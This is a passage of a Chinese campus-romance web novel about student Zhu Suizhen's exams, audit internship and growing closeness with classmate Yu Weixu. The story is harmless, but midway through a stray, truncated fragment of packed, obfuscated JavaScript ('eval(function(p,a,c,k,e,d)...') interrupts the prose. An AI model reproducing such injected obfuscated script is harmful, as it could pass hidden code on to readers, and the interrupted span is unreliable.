嚯,何希簏和他女朋友! 祝岁祯抽了张纸巾擦嘴,喊服务员帮忙把旁边的桌子挪了过来,和她们的拼在一起。 就在这时,附近桌的一个女孩小心翼翼地拿着手机,问梦梦是不是这个博主。 哦吼,偶遇粉丝。 得到肯定的答复,那女孩还蛮开心的。随后女孩又认出了祝岁祯,说初雪的视频特别好看,可惜男主角不在。 粉丝跟梦梦合影离开后,韩芷玥和鸡哥、箫剑聊了起来,得知他们是俞惟叙的舍友,韩芷玥眼睛都亮了,立刻逮着他俩问东问西。 何希簏脸色开始变差,不耐烦地让女友先点菜,别那么花痴,丢不丢人。 完了,这几句话直接踩到雷,女生问他是什么意思,大过节的甩脸色给谁看。何希麓也不惯着,说你要是这么喜欢学长,咱俩分手,你去追吧。 韩芷玥被气哭,四个人目瞪口呆还没反应过来,她直接拿着包包就走。 祝岁祯尴尬地让何希麓赶紧去追,但他一动不动,说随她去,天天作妖耍脾气,明早就考试了还非要拉着他出来过什么圣诞。 祝岁祯心想:既然你明天要考试,还是早点回去复习吧……但转念一想,就算复习再紧张,也不能不让人吃饭,所以就闭上了嘴。 何希簏扫码,正在点菜,箫剑收到了女朋友的消息。 “我老婆说她交了作业、签完到溜出来了,我要去陪她!你们接着吃吧,学弟你坐我这里。” 箫剑快乐地奔了出去。 “啧啧啧,这就是坠入爱河的男人啊……”梦梦感慨,然后招呼何希簏:“来,Lucy,你来继承他未竟的食材。” 何希簏被逗笑,坐了过去:“好久没听到这个名字了。” 四人聊起来梦梦的视频博主事业,两个男生才知道她这两年接广告挣了好几万。当然,这点钱跟她追星花掉的差得远。 这不,寒假又要飞美国了,她粉的团有美洲巡演。人还没去呢,签证、机酒、几场前排vip黄牛票之类的就已经花出去十万了。 他们仨聊得嗨皮,祝岁祯只是听着,慢慢吃手里的串。 她发现何希簏其实蛮会照顾人的,饭桌上一边接别人的话、一边制造话题不冷场、还同时注意着其他学姐学长们的用餐进度,看谁爱吃什么就帮忙盯着熟没熟,捞出来专门放人家盘子里。 如此八面玲珑的一个人,居然会在刚才的场合下那么不给女朋友面子,简直判若两人。 祝岁祯觉得何希簏骨子里是有点冷血的成分在的。 鸡哥中途去上厕所,祝岁祯吃得有点撑了,靠在椅背上休息。 何希簏看了几眼祝岁祯懒洋洋刷手机的样子,想起她实习的时候,中午也是吃饱了半躺在椅子上,戴着耳机看视频。 他有时会把椅子故意悄悄放得离她近一些,午休的时候偶尔能听到她细弱绵长的呼吸声,让他很满足。 突然,他注意到祝岁祯旁边,来自周梦津的视线。何希麓有点尴尬,不知道她盯自己多久了,连忙问:“学姐,还想吃点什么吗,我来下单。” 梦梦托腮笑着摇摇头:“不用了,我要控制体重,今天已经吃得够多了。” 梦梦出神地看了他几秒,伸手拽了拽旁边的祝岁祯:“哎哎,祯祯!” “嗯?”祝岁祯从购物软件里抬头,迷茫地看她。 她指了指何希麓:“你看,学弟是不是有点像我家爱豆?” 祝岁祯看向何希麓,何希麓有些猝不及防,也看向她。 梦梦说:“学弟,笑一下,就你刚才那样笑。” 何希麓没绷住,有点害羞地低头,扑哧一下笑了出来:“学姐,你……” 梦梦激动地晃了晃祝岁祯,祝岁祯大概懂她的意思了:“唔,确实,这个角度看的话是挺像你老公的。” 何希麓收了笑,有点懵地看着祝岁祯:“老公?” 梦梦解释道:“是我粉的爱豆啦,我私底下叫他老公。” “哦……吓我一跳……” 梦梦开玩笑地说:“不过你要是愿意当我老公,我也很欢迎哈哈哈哈……” 祝岁祯无奈地摇摇头,低头继续看商品详情页里的裤子尺码,没注意到何希麓尴尬应对梦梦时,飘忽到她身上的眼神。 因为何希麓第二天上午有考试,祝岁祯提议大家吃饱了就早点回吧。结完账后四人回学校,鸡哥要去马路斜对面的鲍师傅买提子酥,剩下三人先走。 何希麓跟梦梦在后面聊天,祝岁祯在前面边走边听。梦梦对学弟学妹之间的感情很好奇,但何希麓语焉不详地应付着,听起来对女朋友不太上心。 梦梦问他干嘛和女朋友吵架,何希麓犹豫地说,觉得女朋友浑身都是毛病,但分又分不掉,总缠着他。 祝岁祯无法理解,不爱就是不爱了,干嘛还同意复合呢? 梦梦好像也察觉到了,问他喜欢什么性格的女生。 何希簏看着前面祝岁祯,随步伐轻轻甩动的马尾,思索道:“性格……不要太黏人。成熟安静,偶尔带点小俏皮,就差不多了。” “成熟安静?你喜欢姐姐类型的吗?” “差不多吧。” 祝岁祯低头回了一下妈妈的消息,再抬头的时候,后面两人开始聊旅游了。 “我看学姐你的朋友圈,真是到处飞啊,日韩港澳东南亚都被你走了好几遍吧。” “啊哈哈,也就是追星看con而已,没有太深度旅游过。你跟你女朋友去哪里玩过吗?” “去过香港,陪她买东西,别的就很近了,青岛、阿那亚、沪杭这些。” “也挺不错啊。其实我一直想着要是谈了恋爱,带男朋友去马尔代夫玩,就是一直没遇到合适的。之前在韩国club碰见几个搭讪的韩男,唉,不喜欢。” “学姐是不是很看眼缘?首先颜值要过关。” “对的!你太懂我了,比如你这样的就非常好,只是可惜有女朋友了哈哈哈哈……” 祝岁祯走在前面,有些尴尬,于是她回过头:“我去西北门买个薯片,你俩先回吧。” 何希麓不解:“宿舍超市没有吗?” 祝岁祯找借口:“我想吃的那个口味没有。” “你爱吃哪款?”何希麓接着问。 “唔……有一款麻小的还不错。” “我跟你一起去吧。”何希麓说着就要跟她一起拐弯。 “不用不用,你俩回吧,我还想买点别的。” 梦梦见机行事,拉了拉他胳膊,把还犹豫着的何希麓扯走了。 祝岁祯呼出一口气,太好了。 她知道梦梦一直挺喜欢何希簏的,因为他长得很帅,而且是个大暖男。当时他官宣女友的时候梦梦怅然若失。 但今晚,梦梦聊的多少有点儿那什么了……祝岁祯都怕小学妹听到。 可她又不能说什么,毕竟跟舍友们关系这么好。 她买完薯片和饮料,回去远远看到宿舍大门口附近一个角落里,梦梦开心地仰着头,跟何希麓还在热聊中。 唉。 她低下头,装作在看手机没瞧见他俩一样,径直走进了宿舍大门,回书桌前继续复习。 周一,祝岁祯把整理好的证券投资学考点文档发在两个宿舍的大群,区分了“必考”和“大概率考”两种标记,属于是喂到嘴边、背了就能直接上考场的程度。 俩宿舍的兄弟姐妹们感恩戴德,纷纷在群里盖楼,祝她【好人一生平安!】 她正准备放下手机,突然见俞惟叙也跟着复制粘贴这句话,发了出来。 祝岁祯看着那行字,笑着撇了撇嘴。 在这里瞎凑什么热闹?以他的水平,裸考都能上90分吧…… 跨年夜和元旦,祝岁祯跟远文都没出宿舍,为了排名在努力复习,毕竟她俩有保研意向。 元旦的第二天,周五,上午是证券投资学考试。 她们四人进教学楼的时候,小羊还在紧张兮兮地问祝岁祯自由现金流折现模型的公式。 前面正在上楼的俞惟叙听见声音回头,跟她们打了个招呼。 祝岁祯发现俞惟叙只拿了笔、校园卡、手机来考试,实在是潇洒。不像她们,带了pad、笔记,都想趁着考前再临时看看考点。 梦梦问他:“哟,好几天没见你了,怎么样,跟富婆姐姐玩得还开心吗?” “只是那天吃顿饭而已,第二天回学校拿点东西就飞广州了。” “啧啧,真忙啊。” “还好,过去看看进度,顺便替我妈办点事。主要是广州的气温舒服到我不想回来,北京又干又冷。” 小羊一边看公式一边插话:“北京这温度算个啥,你们往东北走一走,零下三四十度直接把你羽绒服冻透。” 到了四楼,几人分开,祝岁祯和俞惟叙同班一个考场,找到自己的考位坐下等老师发卷。 上午考完,下午还有金工班单独的课程考试,结束后出了考场,祝岁祯才轻松一些,长舒了一口气。 “学霸,考得怎么样?!” 祝岁祯头还没回,就不由自主地笑了。 俞惟叙跟上来,和她并排走在安静的校园里。祝岁祯回他:“一般一般,世界第三。你呢?” “我嘛……肯定没卷王厉害了。”他淡淡地笑着。 祝岁祯倒不这么觉得。 俞惟叙这人还挺谦虚的,虽然他花在课业上的时间很少,但祝岁祯悄悄观察过,他对待考试还蛮认真,不知道富二代考高分是为了什么,他又不缺这点儿奖学金。 此时,路边停着的车子下面,突然跑出来一只白猫,瞪着黄蓝两色异瞳,看着祝岁祯。 “哇!白色的校猫!这只很难见到诶!” 祝岁祯刚掏出手机要拍,校猫大人“咻”地一下,窜进旁边绿篱的黄杨灌木里了。 俞惟叙笑道:“警惕性还挺高的,在学校这么多年了还是怕人啊。” 祝岁祯哀叹一声,收起手机。 他边走边说:“有点像你。” “哈?我怎么了。” 祝岁祯突然想起大一的时候,他送她那个牛津小熊,也说像她。 他解释道:“有种养不熟的感觉,咱俩关系都这么好了,但你总是跟我特别客气,跟第一天才见似的。” 每次她跟她舍友们一起的时候,就很少和他说话,她舍友们还经常主动跟他聊呢。 好歹俩人私下都打过这么多次交道了,怎么一有外人在,她就跟个闷葫芦一样不理他,搞得他也不好跟她说什么。 祝岁祯无奈了:“之前你还说,让我少跟男生说话呢,这么快就忘了?” 他傲娇道:“我跟那些男生能一样吗?咱俩可是好朋友。” 祝岁祯打趣道:“是,你不一样,你可是有门当户对的富婆姐姐当对象呢……话说有富姐的照片吗?可以给我看看不?上次她带墨镜没看到脸。” 俞惟叙停下脚步:“看她干嘛。” “好奇呀,被富婆姐姐的实力震惊到了,太震撼了,求看看照片朋友圈~” 见祝岁祯眼睛里满含期待,俞惟叙反而有点不高兴。 他扭头就往前走:“没什么好看的,就是炫富。纽约、西雅图、加州买豪宅游艇,坐私人飞机到处玩,现在就差北极南极没去了,怕冷。” 祝岁祯满脸向往:“哇,神仙日子……” 俞惟叙看着她:“你很想过这种生活吗?” 他问得太认真,让祝岁祯迟疑了一下:“呃,倒也不用这么富,能在北京这个房价消费水平上,不愁钱就行。” 俞惟叙顿了顿,转过头去:“这对你来说挺简单的。” 祝岁祯开心了:“真的吗?啊哈哈哈,突然对未来充满希望了呢!本来我还算着我毕业的工资,要想买房得好久呢……” 俞惟叙无语了,他的意思是祝岁祯这颜值,嫁个有钱人轻轻松松,一辈子不用为钱操心。结果她想的是靠自己打工挣钱啊?那她得挣到猴年马月去了。 不过倒也正常,谁让她是祝岁祯呢。 随后俞惟叙提醒她,别往外说他和林期尔的关系,两家现在只是在谈合作,谈感情还早,结婚更是八字没一撇。两人都对早婚没兴趣。 祝岁祯倒不全信他的话,商业合作肯定有,能专门请人来家里吃饭,这关系已经不错了,谈婚论嫁迟早的事。 虽然人家俩富二代恋爱结婚再正常不过了,但祝岁祯心里这丝丝缕缕的凉意是怎么回事? 大概是天太冷吧。 -.- 接下来的一周,是疯狂而爆燃的一周。教学楼、图书馆的学生们废寝忘食地学,恨不得脑壳上开个洞,把书直接塞进去。 尤其是平时不怎么听课的同学,不得不开启考前三天零基础预习模式,刷夜刷得人模鬼样,唯一的空闲时间都拿来搞玄.学。 什么“考的全会”“蒙的全对”“考神附体”“分从四面八方来”……一打开朋友圈,满屏的黄色符篆、文昌帝君。 在一场小雪中,金工班大三上学期最后一门考试,结束。 这次是真正的放松,祝岁祯走出教学楼,看到大家脸上都洋溢着欢笑,跟提前过年了一样。 前面几个男生和俞惟叙边走边聊,祝岁祯慢慢跟在后面,竖着耳朵听。 “考完试就回家吗?” 俞惟叙:“嗯。” “你假期干什么,只在家里待着吗?还是出国玩?” 俞惟叙:“过两天去广州。春节去澳大利亚,家里老人喜欢暖和一点的地方。” “哎妈呀,别人冬天度假顶多去海南,你们直接跑去南半球。” 俞惟叙:“澳洲有亲戚在,也是顺便去聚一聚。明年春节应该不会去那么远,东南亚找个地方待些日子就差不多了。” 祝岁祯跟在他们后面不远不近的地方,幻想着自己缩小成一个挂件,偷偷藏进他的行李箱里,等他落地,她就悄悄蹦出来自己到处游玩…… 舍友们都陆续回家,祝岁祯去学校附近的大超市采买了点日用品。 周一一大早,她穿上正装背着书包,第一次感受北京工作日早高峰的地铁。 太可怕了,简直比节假日的景区还挤,原来北京有这么多的上班族,列车隔两三分钟就能来一趟,这么高的频次居然还有许多人上不去,要等下一趟。 祝岁祯戴着口罩,艰难地拉着扶手,周围一圈全是穿着黑灰深蓝色羽绒服的男女,各年龄阶段都有。 挤到什么程度呢?祝岁祯甚至能看到前面女生手机上播放的影片,连双语字幕都能看清。 地铁报站的小灯一个个亮起,她终于到了金台夕照站,很美很有意境的一个地名,可惜她没空琢磨,只顾拿着手机看地图。 当她走出A口,环顾四周,浑身被牛马们浸透了的班味一扫而空。 国贸CBD的景色展现在她面前。 电视文化中心、央视大裤衩、中国尊……一幢幢在新闻媒体上经常看到的建筑,就这样突然出现在眼前。 她这才惊叹,自己来北京两年半了,居然没想着到国贸逛一逛。 看到中国尊,她突然想起一个久远的事。 军训结束后,她和梦梦、远文三人出来逛景点拍视频。当时在北海公园,俞惟叙说过从白塔那里,可以同时拍到景山和中国尊,古今同框。 希望她能有时间,去北海白塔拍到这张照片。 进了事务所,办理各项手续、领实习生大礼包,然后就是为期两天的集中培训,理论和实操都有。 培训时祝岁祯认识了几个坐在一起的女生,除了她之外都是会计、审计专业。其中有一个还是从别的省市院校赶过来的,为了在北京实习也真是拼了。 第三天,开始去项目驻场,俗称“下田”。 她在宿舍简单解决了早饭,背上所里发的不知道多少代前辈用过的电脑,奔赴金融街。 这地方她也是头一次来。 哇哦,酷。 她看着眼前的高楼大厦,心想如果自己毕业后能到这里的哪家金融机构工作,应该算得上有出息了吧。 她和组里另外两个也是刚入职的实习生等在楼下聊天,经理到了之后,带着她们去被审计单位办临时出入证件。 另外俩实习生都是研究生,一男一女。男生以前在内资八大其中一家实习过,现在是审计专硕研二,今年就毕业。女生研一,会计学硕,想留校继续读博。 祝岁祯和那个男实习生由一个高级审计师S2带,女实习生是这个项目组的经理在带。另外还有一个A1、一个A2共两个初级审计师,五女两男的七人配置,驻扎进了H基金的会议室里。 祝岁祯带的东西很少,眼看着别人桌子上都配了笔记本支架、无线鼠标、护手霜、午休颈枕……她才知道自己还是小看了这一仗。 干到晚上八点,经理说小朋友们头一天上项目,就别加班到太晚了,下班吧。 祝岁祯:…… 这竟然是早下班的一天吗?!! 果然啊,年审的强度名不虚传。 虽然今天没有很紧张地赶进度,但晚上八点下班还算早的,这可真是让她有点绝望。 她来实习之前就知道自己要干的都是些大量重复性工作,但真开始投入这么多的时间精力在上面,她还是觉得有点不值得。 唉,不管怎么说,一定要坚持到结束! 穿上外套,大家把电脑什么的都放会议室。她一身轻松地下楼,和同事们分开后往太平桥地铁站走去。 不用像早上一样赶时间,这次她可以好好看看这个著名的金融街,边走边拍了几张照片,在站里等车的时候,发了朋友圈,定位在太平桥地铁站。 文案:【金融人勇闯金融街!实习的first day早早下班!】 配图第一张,是她入职培训时拍的PPT首页,上面清晰地写着事务所的logo。 第二张是在会议室外面,透过玻璃幕墙从17层俯拍的金融大街,街边矗立着一栋栋高档写字楼。各大银行、基金等金融机构,还有金融监管机构都坐落在此。 第三张是会议室里的牛马干活现场,一张大桌子上摆满了各种凭证文件。她细致地把文件名字都打码,虽然照片里没拍到什么数据文字,但她觉得还是谨慎点好。 第四张是夜景,深空、高楼、路灯、枯树,还有长远宽阔的街道,画面透出繁华背后的萧索和孤独。 朋友圈一发,点赞和评论很快就出现了,她饶有兴趣地刷新,看大家都说些什么。 有的问她为何想不开要去干审计,有的夸她实习高端,有的提醒她注意身体早点休息,有的说他也在事务所实习但正跟着项目组盘点奶牛数量…… 换乘两趟,终于到学校。她回来坐在书桌前,一边发呆、一边吃剩了半包的麦香鸡味块,然后才慢吞吞地去洗漱。 刚躺在床上,俞惟叙发来了消息。 俞惟叙:【你回宿舍了?】 祝岁祯:【嗯呢】 俞惟叙:【跟你商量个事,以后如果发朋友圈,能不能早点发】 祝岁祯:【……】 祝岁祯:【那我先提交个线上申请呗?麻烦俞总审批一下文案和图片内容?】 俞惟叙:【也不是不行】 祝岁祯:【……】 祝岁祯:【干嘛】 俞惟叙:【你定位的那个站,离我家不到四百米,你早点发,我还能去找你玩】 俞惟叙:【你都不知道我今天多无聊,家里猫被我撸得头都秃了】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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俞惟叙看了看猫:“就几分钟,没事,我一直在怀里抱着。你想吃什么,有忌口吗?” 祝岁祯轻轻给猫挠下巴,它舒服地眯上眼,小模样实在太可爱,她都不想腾出手点菜了。 “你点吧,什么都行,我要跟猫猫玩。” 俞惟叙笑着摇摇头,跟服务员要了个双人套餐。 祝岁祯从猫咪的温柔乡里抬头,说要跟他AA,但俞惟叙非不要,说就没打算让她掏钱,才专门挑了个平价餐厅。 他这么说,祝岁祯就不再争了,低头撸猫,又拿起手机抱着猫咪自拍。 他手机响了。 俞惟叙:“喂,妈?” 关理之:“你改签了?” 他看了眼祝岁祯,对方正跟猫玩得开心,就稍稍侧身,声音压低打电话。 俞惟叙:“嗯。临时有点事。” 关理之:“改签到什么时候?” 俞惟叙:“还没定。” 关理之:“没定?明天那批新款的工学椅要出货,前天不是跟你说了,让你去厂里看看吗?” 俞惟叙:“呃,王哥不是在吗……” 关理之:“你……!我哪次出新货没亲自盯着?让你办点事怎么这么费劲?能不能上点心!要不是走不开我就自己去了!” 俞惟叙:“哎呀行行行,我等会儿看看机票,下午或者晚上去,行吧?保证按时到。” 关理之:“快点!” 俞惟叙:“知道了……” 挂了电话,俞惟叙见祝岁祯正襟危坐地看他。 “你要走吗?饭还吃……” “不走,先订个票而已。” “哦哦,去哪里呀?” “广州。” “哦。你去澳大利亚的话,是从广州走,还是回北京再走?” 俞惟叙眼珠转了下,缓缓道:“我有跟你提过?澳大利亚。” 她解释:“没有,考完试那天你不是跟同学说过吗,我就在你们后面,偶然听到的。” 他叹了口气:“你怎么偷偷跟在后面,也不说个话?唉算了,又不是第一天认识你。” 祝岁祯哈哈一笑:“习惯就好。” 俞惟叙接着她的问题说:“我从广州飞。我姥爷已经到了,我妈和我舅家从北京走。我爸最惨,他到时候从瑞士走,还得在迪拜中转。” “瑞士?” “对,他在那儿有个学术交流。” 菜陆陆续续地上着,两人一边吃,一边聊祝岁祯的实习。 猫咪好像很喜欢祝岁祯的羽绒服,蜷成一坨窝在松松软软的衣服里,一点也不嫌吵,都睡出小呼噜声了。 祝岁祯吃着吃着,实在忍不住,给它又是拍照片又是拍视频的。 俞惟叙笑道:“我记得军训那时候,你还对它不怎么感兴趣,只是摸了两下。现在喜欢上猫了?” 祝岁祯拿起筷子:“人是会变的嘛。而且你家这个,欠儿姐,颜值是真的高。感觉能当网红小猫。” 听到有人叫它名字,猫咪在睡梦中抖了抖耳朵。 吃完饭,俞惟叙抱着猫,跟她往回走。 祝岁祯走两步就要看一眼欠儿姐,这猫胆子居然还挺大,好奇地打量外面的世界。 一男一女一猫,全是超高颜值,吸引了不少人回头,迎面走来的人眼睛都直了。 俞惟叙问她:“听说审计出差很多啊,你们会去广州出差吗?” 她回道:“这个还真没有,我问过。我们金融组出了名的出差少,客户都在北京。而且我也不太想出差,冬天到处跑不方便,一件羽绒服就把行李箱塞满了。” 说到羽绒服,俞惟叙看了眼她衣服,果然。 “你衣服上有猫毛,一会儿得清理一下,不多,就几根。”俞惟叙前后检查她的衣服。 祝岁祯毫不在乎:“没关系,这是猫咪送我的周边,让我记得想它。” “哎哟喂……幸亏它听不懂,不然得骄傲死了。” 祝岁祯又摸了摸它的头:“应该的。” 俞惟叙说:“万一你出差去广州,记得提前告诉我,在外地能碰见个熟人不容易。上次得亏我刚好看见你,不然都不知道你来过。” 祝岁祯答应得很爽快:“没问题,必须的!” 但实际上她可不会这么干,哪里敢打扰他呢? 刚才听他打电话,似乎是广州那边有急事让他去。人家太子爷没在家享受生活,跑去千里之外苦哈哈地给公司干活,肯定是因为工作忙啊。 从小爸妈就教育她,别太把自己当回事,人家大多数时候只是说句客气话罢了。 当然了,也不能太把别人当回事,专注自身。 俞惟叙一直把她送到客户楼下,他看了看这栋建筑:“你们在这里驻场啊。” 祝岁祯依依不舍:“我想再给它拍张照片。” 俞惟叙把猫的脸扶正,往上托了托:“来,给我俩拍几张。” 祝岁祯笑着打开摄像机:“才不拍你,我只拍它,不用举那么高,放下放下。” 俞惟叙有点失望,但照做:“祝岁祯你也太偏心了吧!” 她“嘿嘿”两声,不予理会。 刚拍了两张,一个消息弹出来。 何希簏:【祯祯姐,你实习感觉怎么样?】 见祝岁祯突然停下看手机,俞惟叙问:“怎么了?” 她点进消息,何希簏又发了一条:【求传授经验,我下次假期也想去实习】 还发了个萌萌哒的“期待”表情包,一看就是存了哪个女生发给他的。 “呃,没事,何希簏发了个消息。”祝岁祯抽空跟俞惟叙说。 祝岁祯只顾着低头看手机,没瞧见俞惟叙变脸变得有多快。 见祝岁祯收起了手机,他控制着脸色和语气:“找你干什么?” “问我干得怎么样,他下次也想找审计的实习。”祝岁祯切回摄像机,对着猫咪侧脸拍照,“现在懒得理他,我要看猫猫,看一眼少一眼了。” 俞惟叙心情好了些:“不至于,你喜欢它的话,下学期我把它带去学校,你来我家里跟它玩也行。” 祝岁祯边拍边说:“那可使不得,猫猫运来运去的多折腾,让它在你家的大house里待着就好了,小屋子憋屈。” 俞惟叙震惊:“你别太宠它了。我这么大个人都住了,它这么点儿个小东西住不了?太双标了你!我的心好痛。” 祝岁祯拍完,满意地看了看照片,收起手机。 俞惟叙见状,知道她要走。 本来考完没找到机会跟她见面就觉得挺可惜的,意外刷到她朋友圈时迅速取消机票约了饭,可两人独处的时间实在太短暂。 他一张口就是酸溜溜的话:“你要上去给你的小学弟回消息了?” 祝岁祯也是无语,这个坎是过不去了吗?都怪她刚才太放松,直接把何希簏讲出来。 “我上去是要干活儿啊……都不一定有时间给他回消息。” 俞惟叙表情淡淡的:“他怎么着?也要来实习?” “不是吧,他应该已经回家了。说的是下次假期实习。” 他装作毫不在意:“你工作忙的话就别跟他扯闲篇儿了,有时间休息休息,应付两句得了。” 祝岁祯点头:“嗯,好,知道了~话说他其实最近和梦梦聊天多,自从上次圣诞我们吃完饭,他俩关系就还蛮好的。” 俞惟叙顿了顿:“圣诞节你们一起吃饭了?” 她说:“对啊,你舍友没跟你聊过吗?哦,那段时间他们都刷夜来着……鸡哥、箫剑、梦梦、我,四个人去吃饭,碰见学弟和他女朋友。” 听到有俩舍友在场,他稍稍放下心。 俞惟叙想了想:“一起实习的那个男生,有女朋友的哈?” 祝岁祯单手叉腰,略歪了歪头:“唉……对,是的,而且人家还订婚了说一毕业就领证。窝滴盆油~你多操心操心自己的终身大事吧,哎呀……” 管得真多…… 不会是大一在观鱼实习的时候,那件事给他留的后遗症吧?怎么净盯着她周围的男生。 俞惟叙抿唇笑了:“好,我不废话了,省得惹某人嫌弃,去吧,不耽误你时间。” 祝岁祯临走前又伸出爪子摸猫:“走了走了,你一路顺风哈,研发成功财源广进。” 俞惟叙脸上的笑容扩大:“提前给我拜年呢这是?” “就当是吧,过年的时候就不打扰您了,不是要飞去Australia吗?那么远。” “不不不,过年肯定是我最闲的时候,欢迎多打扰我,不然我会很无聊。” “行吧,如果我能想起来的话。拜拜啦~” 俞惟叙拿起猫爪对着她挥了挥:“拜拜,跟姐姐说拜拜。” 祝岁祯又捏了捏它粉色的小肉垫,不舍地上楼去干活了。 41.第四十一章 俞惟叙抱着猫回家,一边换衣服一边订了四点半的海航公务舱,票截图给关理之,得到一个【嗯】的回复,他起身去收拾行李。 祝岁祯没理何希麓,进会议室之后忙着填函证模板。填了十来份之后梦梦发来消息,问她什么时候过年回家,票买好没。 她迅速回了一句【除夕早上走,票买了】,继续填函证。 过了几分钟,何希麓发来消息,气愤地抗议她为什么回梦梦信息,却不回他的。 祝岁祯无语,这小子居然利用梦梦算计她! 她继续不理何希麓,反手打开和梦梦的对话框:【傻梦!你被Lucy骗了!他从你这里套话!刚才居然来质问我!】 梦梦发了个捂嘴笑的表情:【实际上,是我出的主意哈哈哈哈】 祝岁祯:…… 最近她已经被坑了好几回了,真是回回都上当、当当不一样! 梦梦把祝岁祯和她的聊天记录转给何希簏,笑祝岁祯单纯好骗,结果何希簏竟然把梦梦和他的聊天记录又截图给祝岁祯,说他才不会坑祯祯姐…… 绝了,祝岁祯都不知道该骂谁,这俩人玩儿她呢? 最后的结果就是她谁也不理,忙着呢。 -.- 接下来的日子,过得简直昏天黑地。 经理老大,手下好几个大项目,H基金和另两个项目实际上由祝岁祯的顶头上司,这个叫May的S2高级审计师负责。 所以在这个会议室里常驻的是May、祝岁祯、男实习生,和一个A2级别的初级审计师。 刚开始一个星期倒还好,慢慢地,祝岁祯受不了了。 同组的男实习生因为面临毕业论文和找工作两大难题,实习只剩糊弄了,但May是个特别温柔害羞的女生,不好意思说他,只能带着祝岁祯额外加班给他擦屁股。 祝岁祯被气得啊……本来工作就多,还得熬夜干别人的活儿,这一天天过得着急上火。 后来两人都扛不住了,祝岁祯下定决心、壮着胆子和May提了意见,跟她说这样不行,以后您是当大经理、合伙人的人,管不住手下还怎么带团队? 在祝岁祯一番“鼓励”和“支持”之下,May终于被说动了,立起领导的威严警告男实习生,祝岁祯才得以喘息。 雄鹰一般的中国女人,要硬气起来!该咱干的工作毫不含糊,不该干的……滚一边儿去! 一周后,祝岁祯打包了行李,终于坐上回家的列车。周围返乡的人们喧喧闹闹,小孩哇哇乱叫,把她吵得时睡时醒,别提多难受了。 回家吃了点饭,她终于好好睡了一觉,醒来天已经完全黑下来。 打开手机,何希麓问她回来没,祝岁祯发了个表情当作回应。客厅里爸妈正看电视包饺子,她点开朋友圈,刷到两个小时前俞惟叙发的动态,但居然没人点赞评论? 不是很合理啊…… 点开图片,第一张他站在游艇上,背对镜头面对海港,海港对面是著名的帆船屋顶造型的悉尼歌剧院。 他穿着宽大的淡蓝色短袖衬衫,游艇似乎在行驶中,风把他的碎发和薄衫往后吹,衣角飞扬的曲线勾动着她的心,似乎咸咸的海风也透过屏幕吹拂在她脸上。 第二张是侧影,在一望无际的草地上,俞惟叙正挥杆打高尔夫。碧绿的草场一边是湖泊、另一边是起伏的山地,天上蓝得没一丝云彩。 他少见地穿了一身白色修身高尔夫运动服,墨镜下的脸棱角分明。 满屏呼之欲出的盛夏。 再看看她,审计牛马回家的第一件事只有补觉。什么时候,她才能过上这样悠闲舒服的日子啊…… 祝岁祯把这两张漂亮的照片存了下来。随后,她在动态下干干净净的界面点了个赞。 去趟卫生间回来,手机屏幕就亮了。她打开空调钻进被窝解锁手机,看他的消息。 俞惟叙:【好热。好晒】 祝岁祯:【好冷,想念学校的暖气】 俞惟叙:【明天你要是有空,我给你视频,这样咱俩的气温能中和一下】 祝岁祯:【小天才就是你】 俞惟叙:【想看什么景点吗?小天才给你直播】 祝岁祯:【我想看你和成年袋鼠打架,不知道你俩谁能赢】 俞惟叙:【……那必然是我】 祝岁祯:【哦?怎么说?】 俞惟叙:【因为袋鼠的名字里就带着输】 祝岁祯:【好,你赢了】 祝岁祯:【下面,采访一下获奖选手。为什么你发的那个朋友圈,我看不到别人点赞?】 他过了一会儿才回复:【因为你在我的好朋友分组里,别人看不到】 祝岁祯:【《惊!富二代私生活见不得人》《性感京爷,在线靓照》《M大校草私密朋友圈,快看!一小时后删!》】 俞惟叙倒了杯酒,准备一边小酌一边跟她聊,看见祝岁祯cos无良媒体,他一口酒差点儿喷出来。 俞惟叙:【业余生活挺丰富,吃了多少个营销号才能编出来这些】 祝岁祯:【胃口很棒,吃嘛嘛香】 “祯祯啊,准备出来吃饭吧?饭一会儿凉了。”甄念过来敲门。 “哦,好。” 她快速打字:【我妈喊我去吃饭,回聊~】 俞惟叙还没问到她想看什么景,只能先道别。 大年初一早上,祝岁祯睡得正香,被外面爸妈起来看电视、打扫房间、大声说话的动静吵醒。 她痛苦地翻了个身,用被子捂着耳朵继续睡。 刚迷迷糊糊睡着,甚至都开始做梦,手机“叮”地一下响了。 她有点分不清是梦还是现实,揉了揉眼睛,艰难解锁看屏幕。 俞惟叙:【春节快乐】 他又发来一个大红大橙的动态表情,里面铺天盖地的红灯笼和橙色盒子飞来飞去,“新年快乐”四个橙色大字霸占在正中间。 画面鲜艳像是老年人才喜欢的那种风格,祝岁祯皱着眉头点进去,结果发现这个表情包是爱马仕官方出的…… 咦惹……嫌弃…… 她闭着眼睛,眼珠转了转,等眼睛没那么干涩了之后,单手缓缓打出四个字:【春节快乐】 俞惟叙:【视频吗?给你看个好东西】 祝岁祯脑子还不太清醒,手也不听使唤,误触了个【我】字,发了出去。 她还没意识到自己发了什么,俞惟叙的视频电话邀请从屏幕上方弹出来,很大的“叮叮咚咚”声吓了她一跳。 “祯祯啊!醒了吗?起床吃饭吧?”老爸的声音在门外响起。 祝岁祯一时间不知道该顾哪边,也不好把俞惟叙的电话按掉,赶紧转头先跟祝金爀说:“我有点事,等会儿再吃。” “哦哦,行,给你热上了,快点儿啊,再不吃就要吃午饭了。” 祝岁祯应付完老爸,回头发现视频通话的提示音不知道什么时候已经没有了。再一看屏幕,啊! 刚才混乱之中不小心点了接通键,现在俞惟叙正一脸疑惑地看着手机,而祝岁祯的那个小屏幕一片漆黑…… “呃……诶?啥时候接通的?”祝岁祯喃喃自语。 “祝岁祯?”俞惟叙不确定地问道。 “哎哎!在!我刚才不小心点了接通。” 俞惟叙装作生气瞪了下屏幕:“什么意思?本来是不准备接我电话的吗?” 祝岁祯觉得黑着屏幕也行,她还没起,邋里邋遢的多不好。 “不是啦,我还在被窝,没起呢。刚才我爸喊我吃饭,还没来得及接你电话。” 他点头:“嗯,听见了,再不起床就要吃中午饭了。话说你把摄像头遮住了?我什么也看不见。” 她翻了个身:“不是,没开灯,窗帘遮得比较严,等一下。” 祝岁祯搓了搓眼角,把头发理顺,伸手打开床边的小台灯,手机小屏上的画面亮了起来。 她赶紧把手缩回来放进被窝:“开个小灯,就这样吧,太冷了不想起来。” 